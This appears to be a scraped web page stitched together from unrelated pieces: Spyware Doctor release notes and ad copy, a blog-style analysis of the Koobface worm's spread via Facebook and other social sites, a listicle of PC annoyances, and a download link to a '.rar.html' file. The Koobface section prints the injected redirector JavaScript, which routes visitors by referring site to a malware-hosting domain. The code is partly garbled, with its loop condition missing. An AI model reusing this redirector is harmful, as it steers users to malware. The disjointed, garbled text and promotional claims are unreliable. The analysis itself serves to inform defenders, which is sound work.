- Spyware Doctor now has behavior Guard, providing you with the latest pro-active behavioral-based technology against zero-day (never seen before) threats. Built on the award-winning ThreatFire technology, behavior Guard has been seamlessly incorporated into Spyware Doctor to offer you leading protection. This new technology protects you when some anti-virus products give up! Read more about behavior-based protection.

• Improved detection capabilities:

- Spyware Doctor has been enhanced to improve detection effectiveness. In particular, each individual signature created in the threat database is optimized so that it is capable of detecting multiple variations of malware threats (threat variants) while maintaining minimal system resource usage (memory footprint).

• Swift clean-up for heavily infected computers:
- Spyware Doctor is able to detect and remove threats on heavily infected computers faster and easier than ever before. Sometimes your computer is so highly infected that you may find yourself unable to install or run security software except when in the ‘safe mode’ of Windows.
- In these cases, malware consumes computer resources so resulting in lengthy scanning and removal times. is now armed with the technology to scan in safe mode faster and more effectively by forcing your computer to take a higher priority over the scan than the malware and other software attempting to run on your system.

• Improved Hacker Defense :

- Further improvements have been included to enhance our own defense against malware threats attempting to interfere with the effectiveness of Spyware Doctor . Our hacker defense system means you can rest assured that your computer system has the most comprehensive protection while ensuring that malware threats don’t impede on the functionality or effectiveness of Spyware Doctor.
- The new hacker defense utilizes a particular feature available in Windows Vista (known as ASLR) to make it difficult for hackers to exploit or gain control over Spyware Doctor .

• Other enhancements:

o Support for Windows Security Centre in Windows Vista Service Pack 1
o The real-time protection module is now referred to as Intelli Guard®
o Enhanced error reporting to assist with diagnosis of program crashes (hackers!).

OS: Windows Vista™, XP and 2000

For Download:
Click Here

There has been enormous movement related to koobface lately and it has been mostly driven by social networking websites such as Facebook, Tagged, Myspace, Twitter, and many others.

One social networking website that probably tops the list of sites used as attack vectors is Facebook.

Here’s a screenshot of a spoofed Facebook website:

We are presented by a fake codec alert and unsuspecting users usually download and install a malware aptly detected by PC Tools Spyware Doctor as Net-Worm.Koobface.

We have seen koobface being hosted on kukuruku-290709(dot)com, but thanks to the all good guys out there this site has been taken down. But the bad guys have responded and are now using legitimate domains and redirections to serve koobface. We have seen a small patch of code on websites used in the redirection:

wrttnsvqnayay qrqgtlzac
script src ="4fc . js" // edited
qsmypwqmoj bbaspbrq

The strings are random, and so are the names of the javascript files being executed.

Here’s what the javascript file has to offer:

// KROTEG
var abc1 = 'http://kukuruku-290709.com/go/';
var abc2 = 'http://kukuruku-290709.com/go/';
var ss = '' + location.search;
if ((location.search).length>0) abc = abc1; else abc = abc2;
var redirects = [
['facebook.com', abc+'fb.php'],
['tagged.com', abc+'tg.php'],
['friendster.com',abc+'fr.php'],
['myspace.com', abc+'ms.php'],
['msplinks.com', abc+'ms.php'],
['myyearbook.com',abc+'yb.php'],
['fubar.com', abc+'fu.php'],
['twitter.com', abc+'tw.php'],
['hi5.com', abc+'hi5.php'],
['bebo.com', abc+'be.php']
];
var s = '' + document.referrer, r = false;
for (var i = 0; i 0) redir=redir+'&domain='+location.host; else redir=redir+'?domain='+location.host;
location.href = redir;
r = true;
break;
}
}
if (!r) location.href = abc+'index.php'+ location.search;

Since the domain kukuruku-290709(dot)com has been brought down already, we’ll soon most likely see new ones emerge to host koobface.

One of the payloads of koobface is downloading other malware, and currently it is serving Rogue AVs including one that PC Tools Spyware Doctor detects as RogueAntiSpyware.System Security.

We’ve talked about RogueAntiSpyware.System Security in a previous post.

A few weeks prior to today, there has been a lot of buzz about Facebook’s Farm Town app serving up Rogue AVs. And recently Facebook is once-again associated with Rogue AVs. Clearly, the bad guys behind these attacks are tyring to make quick bucks by promoting scareware. And of course by using techniques such as Social Engineering , malware and scareware spread rather quickly and easily, because attackers can hide behind the names of even the people we trust.

Take extreme care when viewing emails, tweets, comments or posts. Even if they came from people we know.

Some of the 5 things are as given.

1. A second (or third…or fourth) antivirus program. Despite what we tell them, some people think “more is always better” when it comes to PC protection. Inevitably, those people end up bringing their computers in for service saying “it just slowed right down” and – here’s the kicker – “maybe it has a virus.”

So wait…You installed Norton, AVG, Spyware Doctor, and Ad-Aware because you thought it would keep out all the badness and you still think it’s a virus slowing down your machine? /facepalm

2. Just…one…more…toolbar (thank you J-Walk blog for the image). Apparently a lot of people love to search. So much, in fact, that they need dedicated toolbars for Google, Yahoo, Ask, Live, MyWebSearch, and a handful of others. They wind up with less browser real estate than an iPhone on their 22″ LCD.

3. Applications with annoying avatars.
Bonzi Buddy is dead, and for a good reason. Isn’t an AOL-style “You’ve Got Mail!” alert good enough? Apparently not for some people. No, they need to have some snooty butler announce the arrival of every message like he’s Alfred bringing Bruce Wayne a phone call from the mayor.

4. P2P Applications. Don’t get me wrong – it’s not apps like Frostwire, uTorrent, and eMule that I have a problem with. But if you’re not going to take the time to learn how to configure these things, don’t use them. And don’t call and get uppity when your internet connection slows to a crawl and tell me I screwed things up.

5. Piggybacked programs. I’m shocked how much software people wind up with on their PCs that they never use and claim to not know how it got there.

Checkboxes are there for a reason, folks. You don’t have to install Safari. You don’t have to install Adobe Media Player. Remember that Ask toolbar? You probably could have opted out of that, too – if you would take a second to read before you click. If I put food in front of you, you wouldn’t just grab it and eat it without looking, right?

Spyware Doctor provides three-way spyware protection for your PC
through real-time threat blocking, advanced system scanning and
immunization against known browser infections. Spyware Doctor is a
multi-award winning spyware removal utility that detects, removes
and protects your PC from thousands of potential spyware, adware,

Trojans, keyloggers, spybots and tracking threats. Protect your
privacy and computing habits from prying eyes and virtual
trespassers with the help of Spyware Doctor.
Anti-virus software and firewalls do not fully protect your system
against the majority of spyware and privacy threats. Because
spyware is commonly bundled with software downloads, attached to
e-mails, or transmitted through networks it can appear to be
legitimate software, but once installed it can be nearly impossible
to detect and remove without the help of a dedicated spyware
removal tool like Spyware Doctor.
Spyware Doctor Key Features:
? Comprehensive Malware Protection
Spyware Doctor provides protection against identity theft, stealthy
spyware, aggressive adware, browser hijackers, malicious ActiveX
objects, malware
Trojans, tracking cookies, keyloggers, dialers, and other malware.
The optional anti-virus module also protects your computer from
viruses, worms, Trojan horse threats, and other malicious
infections.
? Constant Real-time Protection
Through its unique OnGuard feature Spyware Doctor provides constant
protection against malware. OnGuard works by blocking both known
and unknown malware threats before they can install and cause any
harm to a computer. OnGuard constantly monitors for malicious
behavior involving spyware processes, tracking cookies, malicious
ActiveX objects, browser hijackers, keyloggers, Trojans and more.
? Advanced Detection and Removal Technology
- By running an Intelli-Scan?, Full Scan or Custom Scan, Spyware

Doctor will inspect the computer for all types of spyware and
virus1 infections. Spyware Doctor is top rated by industry experts
as being extremely effective in removing particularly nefarious
threats such as rootkits and keyloggers2.
- The unique Intelli-Scan? feature is specifically designed to hunt
swiftly and kill active running spyware threats in as little as 3
minutes3, attributed to
the intuitive and patent-pending spider scanning technology. This
new technology works intelligently by using a combination of
signature and behavioral scanning techniques to quickly and
effectively identify internet threats.
? Protection against zero-day threats – Behavioral Heuristic

Detection
Spyware Doctor delivers effective zero day protection against
rootkits and keyloggers (in both scanning and OnGuard real-time
areas) by monitoring for
suspicious behavior and blocking applications that exhibit signs of
malicious activity.
? Advanced Rootkit Detection
Spyware Doctor is capable of detecting and removing hidden
processes and files associated with complex threats and rootkits.
Using behavioral techniques, rootkits and other items that attempt
to hide themselves deep in the computer operating system are
effectively detected and removed.
? Works silently in the background with low CPU usage
When in monitoring mode Spyware Doctor has been designed to work
silently in the background, with little impact to the end user,
threats are blocked and
removed without any system impact, while only a small alert window
is displayed to advise the user it has been protected against an
attack. When running a scan, the CPU Priority settings allow users
to lower the priority of the scanning in order to reduce CPU usage
and impact to the computer while in use.
Selecting this option may increase scan time but will ease CPU
usage when other applications are running at the same time.
? Automatic and silent Smart Updates
Frequent updates to detect and guard computers against new threats
and viruses as well as provide enhancements to Spyware Doctor are
automatically installed and downloaded through the Smart Update
function. Threat signatures are updated every business day or
within hours of a high risk malware outbreak to protect you from
the latest online threats.
? Most internationally awarded anti-spyware product
Spyware Doctor is consistently awarded editors choice and top
rating by numerous internationally recognized and respected
industry publications, making Spyware Doctor the most
internationally awarded anti-spyware product.

Download

Spyware Doctor_6.0.1.440.rar.html